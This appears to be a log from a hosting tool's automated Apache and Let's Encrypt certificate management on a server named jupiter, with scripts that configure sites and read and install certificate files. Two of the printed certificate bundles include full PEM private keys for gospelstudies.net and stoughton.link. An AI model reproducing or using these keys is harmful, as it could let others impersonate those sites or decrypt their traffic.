mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/gospelstudies_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/gospelstudies_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/gospelstudies_www_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/gospelstudies_www_net.conf= 1'
fi
2025-10-21 06:00:59:
chmod 755 /tmp/pkp771836; /tmp/pkp771836; rm /tmp/pkp771836
2025-10-21 06:00:59:
2025-10-21 06:00:59:
PUT: /tmp/pkp951994
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-21 06:00:59:
chmod 755 /tmp/pkp951994; /tmp/pkp951994; rm /tmp/pkp951994
2025-10-21 06:00:59:
.
2025-10-21 06:00:59: Establishing a connection
2025-10-21 06:00:59:
PUT: /tmp/pkp493501
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-21 06:00:59:
chmod 755 /tmp/pkp493501; /tmp/pkp493501; rm /tmp/pkp493501
2025-10-21 06:00:59:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
alias www.aletheiacollege.net
port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
alias www.christadelphia.net
port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
alias www.gospelstudies.net
port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
alias www.heaster.org
port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
alias www.hristadelfiane.org
port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
alias www.osnovybiblii.info
port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
alias www.realdevil.info
*:443 is a NameVirtualHost
default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
alias www.aletheiacollege.net
port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
alias www.christadelphia.net
port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
alias www.gospelstudies.net
port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
alias www.heaster.org
port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
alias www.hristadelfiane.org
port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
alias www.osnovybiblii.info
port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-10-21 06:00:59:
PUT: /tmp/pkp695827
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/gospelstudies_www_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-21 06:00:59:
chmod 755 /tmp/pkp695827; /tmp/pkp695827; rm /tmp/pkp695827
2025-10-21 06:00:59:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/gospelstudies_www_net.conf 1432
<VirtualHost *:80>
ServerName gospelstudies.net
ServerAlias www.gospelstudies.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/gospelstudies_www
<Directory /var/www/gospelstudies_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/gospelstudies/www_access.log combined
ErrorLog /var/log/apache2/gospelstudies/www_error.log
SetEnv pkp_uid 50
SetEnv pkp_owner studies
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName gospelstudies.net
ServerAlias www.gospelstudies.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt
DocumentRoot /var/www/gospelstudies_www
<Directory /var/www/gospelstudies_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/gospelstudies/www_secure_access.log combined
ErrorLog /var/log/apache2/gospelstudies/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-21 06:00:59:
PUT: /tmp/pkp297874
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-21 06:00:59:
chmod 755 /tmp/pkp297874; /tmp/pkp297874; rm /tmp/pkp297874
2025-10-21 06:00:59:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt 5385
70:53:6a:5c:5d:92:b6:e9:0e:c4:3d:16:c3:50:58:c4
-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBo1qOAyOzV88lC83bBn1ruWiMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDIxMDUwMjI4WhcNMjYwMTE5MDUwMjI3WjAcMRowGAYDVQQD
ExFnb3NwZWxzdHVkaWVzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAL165VVZ490YOKnwl1E25hBT+O3Sm6KOWj3nqt3Nx23aim8cnh7Jej8f1wMd
KRSimi3J4xiloOn2mKlGB1Dkyqk2ayXz3yXsxVdGYf0RY0PSWK0WKeqqYHBva9mB
go0HiFYIqfGNkWiub7iM7f48iVDbhBe/ws9GDGBcoev1cIwzUg4UqIyBzIaAzbyM
xFImtmdURd8WVmeWv/odzQ7vmaSA2mCA//EV7TJWZIHdsEfvaGbjjkVnwOtfWDlG
G+wiMmgOGsCxWHybkOf90SOqdy0d+eJy1oBt7tDOoVqhglPDC0h6n0XxjML/aHZ9
GYoaLzhUKIW6t5Hg3ck2ck/CfsMCAwEAAaOCAjgwggI0MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQU+1/LW7J7Sbc7HIl1ErpBq7Yly9AwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFnb3NwZWxzdHVkaWVzLm5l
dIIVd3d3Lmdvc3BlbHN0dWRpZXMubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4G
A1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMzUuY3JsMIIB
BAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFV
Uvvp6ynd+MMAAAGaBVtBwgAABAMARzBFAiAayYuwMklbn45kNrsxLfj/manwDYAX
+q6b7ptGW1sTlgIhAMZm/V5ni+0ukJcmvBC+E4nq216NRSP/i8+r1nue6FN7AHYA
GYbUxyiqb/66A294Kk0BkarOLXIxD67OXXBBLSVMx9QAAAGaBVtB1AAABAMARzBF
AiEAniy4+vMm8jZj56QqBFDB022T1zItD8miJO4djPk6Vv8CIFf3cKlPvNA88LC4
b2oPukONfp5olCOlcUIrMzLTfvOqMA0GCSqGSIb3DQEBCwUAA4IBAQAeTpwBckhG
gyQWURamJFqFRFzVjbZD3dHMcS73fv2ssICplYgznx9yRjWbS9kBtXenpqy5S/VC
bnsFQ4TzgzUIE4aUa26kACnQICt3hmSyqGYi8kYw9zsbX9VWRU+tMsSQ0J6LKsX4
6I3M+OWD+7Abpv6VF/+OncfUaG4VEzsg8A/7pyfkhZq/SchZcVURhvzcpZ2v1svl
i1ARrKr4ml7rob8/OPKFWyvZCs00uG5B/AtDbaZCr/6eUW+ffTQEPJvzTIE9xLlY
OY+80n1pzJZ9ZqSZqV2nEQ1BxIYoEevSirdUWxbSik94ST6oFjL9nfBJOCbHJrBl
Q3YnMrzuZs0C
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC9euVVWePdGDip
8JdRNuYQU/jt0puijlo956rdzcdt2opvHJ4eyXo/H9cDHSkUopotyeMYpaDp9pip
RgdQ5MqpNmsl898l7MVXRmH9EWND0litFinqqmBwb2vZgYKNB4hWCKnxjZForm+4
jO3+PIlQ24QXv8LPRgxgXKHr9XCMM1IOFKiMgcyGgM28jMRSJrZnVEXfFlZnlr/6
Hc0O75mkgNpggP/xFe0yVmSB3bBH72hm445FZ8DrX1g5RhvsIjJoDhrAsVh8m5Dn
/dEjqnctHfnictaAbe7QzqFaoYJTwwtIep9F8YzC/2h2fRmKGi84VCiFureR4N3J
NnJPwn7DAgMBAAECggEAEk6ZcdGpjmcUsnaoaBRhzhoO5wt+NgqC9ZA4lg2Xwylm
Tq35KQhWY1r0LzzWB0RemSX0ZyE5luFYhqJZeptgaVD0sUoKuWNS/cezF/xiFt9v
6elGS4ICp1pclTtKHc4oggd8Q/ZlojOYX8BeDj5TFhjfflvsupIOCBFrI50nLqRs
Ld7ZFyAZdXejt/RorE4UVEZ/EkuQdBi+5tw+EJCxH2uWWWL2QjwQPGnJZs2F+YU0
c0Vh7gOVFAVHw5/T0i4V8ME3eJp4Z8aKpJhGWdc85H4bhE3RZaIIdDaOmxRBYYo0
F9IDgfr8ge8nrMqbFT9mpPvtE34vnKYuU9l13r30YQKBgQDdZl9Spe9Sz0ahErY1
2F95wCPvmM4z9RDUGpmeyK96xPU8bhT3fj7+Gyqczx/wWG1oAU7bwSuttgff1+5k
1+HmLHREQrTi/c17LaaOAFhwObAEV31vS36K0AGWcke7y9OJUqKynXMpc4lzR9Sz
0REhiWUUZLIanafHGprWK61w7wKBgQDbF363f6vXcvAPP0K4fltYX5hZJ0l6mPat
83E46kh2MlEA4RCtMO0ms8tSlyF/nEGO2fGjBBe5oevGSrf1vqAHtg5EEENAMwBx
dQHq6n46OfqnVdxuBWm6G6+oWuSsQpNDIb7iocMt5/mIBkw5GC/exPxBmGlbV+5B
IcKDtpsnbQKBgDPNTiRiWtq/UMFDRYrXs48jG8VltWmGv4dBKgxy3EwXZWHcR9+Y
lFiUNqY1+D0eE4swMylLy1J7st/2//psYJigchu+l+A8jiVyCvRStF6dwMdjSSAP
Q+5quNRgrNQN3tLUmOi92kIqnFBy0Bu6oQ19vj7FSL7dgHIfkXbnBU/VAoGAGsY3
RSOEE5NHRQW9GKDQdu9Pxe1oLGRPGRj8CDGRY2hov8vBZvjosmccfN5dSKQG2vdF
cV+JqrTgBF6TNqPyGJ8mBSlbnpfdAQCEmHnJrUHyoMp8YrGkpwrFH7Tj5y1Ho9eW
5UlReeW0d+wVGpEbIIVAMp/2mCQZyLngdIo3Uc0CgYBZf1ekIdZx4f+9B5lxzmxp
NNMw2DpfeeYHKVrwk8bn8AaidsoF2ntsEO+shiGI5h9Ayl5R2Ld8r8nN2rE2a41/
+RWQOeCPplzHsbq3lKRS4g1eK+r188pnMK8R/FJXnZ7kv6/veWVHmCSM9aj6J36R
LwJaChF7pGHpu0YpLq+SAg==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-10-21 06:00:59: Establishing a connection
2025-10-21 06:01:00: Establishing a connection
2025-10-21 06:01:01:
PUT: /tmp/pkp272453
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-21 06:01:02:
chmod 755 /tmp/pkp272453; /tmp/pkp272453; rm /tmp/pkp272453
2025-10-21 06:01:02:
0
2025-10-22 06:00:03: Establishing a connection
2025-10-22 06:00:03: Establishing a connection
2025-10-22 06:00:03:
PUT: /tmp/pkp374015
#!/bin/bash
if [ -d "/var/www/stoughton_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-22 06:00:05:
chmod 755 /tmp/pkp374015; /tmp/pkp374015; rm /tmp/pkp374015
2025-10-22 06:00:05:
0
2025-10-22 06:00:31: Establishing a connection
2025-10-22 06:00:31:
PUT: /tmp/pkp263401
#!/bin/bash
temp_file=$(mktemp)
TARGET=b6da5a1697afd075a41d62112290ebf0.crt
cat > $temp_file <<'endmsg'
d5:b1:12:2f:a9:a2:96:cb:c0:d0:53:1d:e4:67:d1:be
-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBYz76/GlmWUyEDCA24s67zcHMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDIyMDUwMjAwWhcNMjYwMTIwMDUwMTU5WjAZMRcwFQYDVQQD
Ew5zdG91Z2h0b24ubGluazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMdJKhtDCNP00KgttwdMU+bdv7rSPUoQvrF7UTffqyGu4gf+rGw+/o2bG+zdjSrg
CDZ4FJ4cI/p9A0NNF5WWrqUar0JFLX1BrDEN8f9ZHphraeAX8OUtNZ1wt9qbTrTA
hdkKrbETShHGSTiT9HF1b1Yu8+F/I/Z48uvTVEoM3TAhoyMviHzp2PSE0u3BTdw9
VplWuCMOAvGDReWpA+zmt8GPyQ52dA7V2W3Ze+mMVbdXE9nw7O58s6hkx0MRJgtI
9KqWpMiQFxjkWouoTJ8Fa2jnUyIIKpioTskWM6eHCCXpn2O3vSCWMwnbSiBWO3En
pQJzpY51ED71bL0SgCIhymMCAwEAAaOCAi4wggIqMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUVuiArpVICqLIKLMHS6uD8607YK4wHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzArBgNVHREEJDAighAqLnN0b3VnaHRvbi5saW5rgg5z
dG91Z2h0b24ubGluazATBgNVHSAEDDAKMAgGBmeBDAECATAtBgNVHR8EJjAkMCKg
IKAehhxodHRwOi8vcjEyLmMubGVuY3Iub3JnLzguY3JsMIIBAwYKKwYBBAHWeQIE
AgSB9ASB8QDvAHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGa
CoE0LAAABAMARzBFAiBRY656vMdzpDyCJPM41MmUSS/2aLuivDG/oPbvWZKxCwIh
AMjEAAYhPP5U8FfiOhA6lMqqY1WkPul2aO2C3VsUK/5gAHUASZybad4dfOz8Nt7N
h2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGaCoE0LAAABAMARjBEAiBFKUbnNh4/3oHY
Spt/uLT39tCZYveGWCLygeerQH2J7AIgSmmWrxVt6PQgUkHWK/QRA3sAFjgJa3fW
nI3P3c3f9PMwDQYJKoZIhvcNAQELBQADggEBABU2L3MkY7WllsMxgWU8xW9ashGl
duJX6ZfuuVV6wTwtRwJy09p13fFWXOr2VT1BRJLP0B1E8VtisjYURNGAUrWLP/3i
mLUySOvFs1vWik9jJYg55ZJTYYN2EroWxxZihxceeXHuOp2wMvF083YilBJMqiXp
GGgCPKUeq0wQWkqFp5w4e/HEqie4XcjncPSiX8tGjZO14zGRrUE/EQzuL3+QxuJh
pNSsPQgSlR2bFwYRwO73gCb6IsApSr/jz+8bkaGF1VkO+1DlUP+Ni6jHmRCQbXiv
RsbmZjCMcGQEz3+9Avx+Je7HkEo5+Kp9aSyppcSlB0fuH3UrOdtjSjKyHrw=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDHSSobQwjT9NCo
LbcHTFPm3b+60j1KEL6xe1E336shruIH/qxsPv6Nmxvs3Y0q4Ag2eBSeHCP6fQND
TReVlq6lGq9CRS19QawxDfH/WR6Ya2ngF/DlLTWdcLfam060wIXZCq2xE0oRxkk4
k/RxdW9WLvPhfyP2ePLr01RKDN0wIaMjL4h86dj0hNLtwU3cPVaZVrgjDgLxg0Xl
qQPs5rfBj8kOdnQO1dlt2XvpjFW3VxPZ8OzufLOoZMdDESYLSPSqlqTIkBcY5FqL
qEyfBWto51MiCCqYqE7JFjOnhwgl6Z9jt70gljMJ20ogVjtxJ6UCc6WOdRA+9Wy9
EoAiIcpjAgMBAAECggEAck6mJ0L5ElKPSJgILth6G6c/7VHgM9aM+tJoEKtrxoNA
RSOwFNrBOcopZ2DhMyGTtGKGOPadMHV6ZKUYjQYEINHAizuQzxLXSL/d+gBNS1H5
Rb+Vvm6DHU5lNq/0ojr3yzmTzUjqKG3a2+gJwvaAKSf/XW2G3D4d4GS0KVFdodf0
8x8ObeTIx7C8ry0eqSS5JfoL7Zb8lB/ylW9ZY8Rt+i+9OQp8+WdWSlC7olF7zIkG
kKh4ONBmjFLV4bNHj90Fpk5731qQ4gdqJJHJ7ReTHCcB3ta0p2ofPyN2PjOXr+Zn
0ACdvwkN9HJO3/wGqObVfufh/+JVRLt+wzaJXHTOYQKBgQD6bYHlDUBBDHou67tX
qxtnK1AYyWSJNMcTxDK9p9UZwHcMC9QVIGYAwpd0J2cdJ1VNapRBcL0x0YjV3wzU
rqf0Q6K5Qr3JjTXqU9LRVg1+SlZhg8yLiXlRIp4afUVhcUlxzkie0IYntIaY0jEt
ge9oYr9VhXDswAOcLLG8uPQa0QKBgQDLuFdLs5QcD46qks7nHonLdDAOVmvEiEJp
fNyCb8UGeXYDl5LyHOZ+pelshVf544AdvkAb5b+Q5f0ZoM9VSJNs62VAzqcouBoX
hd8tBFNdWHcXpZ/x6SFIyOc3fi+M8/ySvSCgXk3VLrctvPeCuNgaJxZdncESRAnZ
45iKkRB28wKBgFoy2SdcB3mmedeulnK0MZGOWzIiT7DPrqii8Te4XJwC454WIJRf
b/30GMMAcjZg9WuF6NJNPgfUlbmati9gnSPwvIqHzH3s+69j87nsib2kHsrOwvy7
TlP36QRXfIblW/O+vg9dwgRJFHW0t3vRoh5x+sJd5tePLX2x5263G00RAoGAVvjV
M/lvsuclZkcU0/DirRxmY8iba6UsjTKERZ+IAvKZ4oC0eG7ELK+STwVCgOmSSaBu
aDqWpTq66lUQDv3UCr0YVimjjavDX+WEWQiuunxJI6xO840u647xv2w8yrVjUBY0
NqLsIaY3B+zT0lgt0kR7tO3jfnPTrNUQy5+Q4ucCgYEAjHsuBIdxHS7+qhHr+93m
LcIqqAkr4fdUITdCB1uRNrofPbMe+saaqSrcoOJpW8tzqa8NJ0d1DmVgkmw+e5v0
PHkKapnESv6c97ybaaUtM5NhwtdjSbN6LE+HYMx/8+tbGQZ3AQKorStfVfFKLI+N
ez4APeuMzJ/5xxy8K+4W3aw=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-22 06:00:31:
chmod 755 /tmp/pkp263401; /tmp/pkp263401; rm /tmp/pkp263401
2025-10-22 06:00:31:
dir=/etc/ssl/certs
2025-10-22 06:00:31:
PUT: /tmp/pkp211485
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
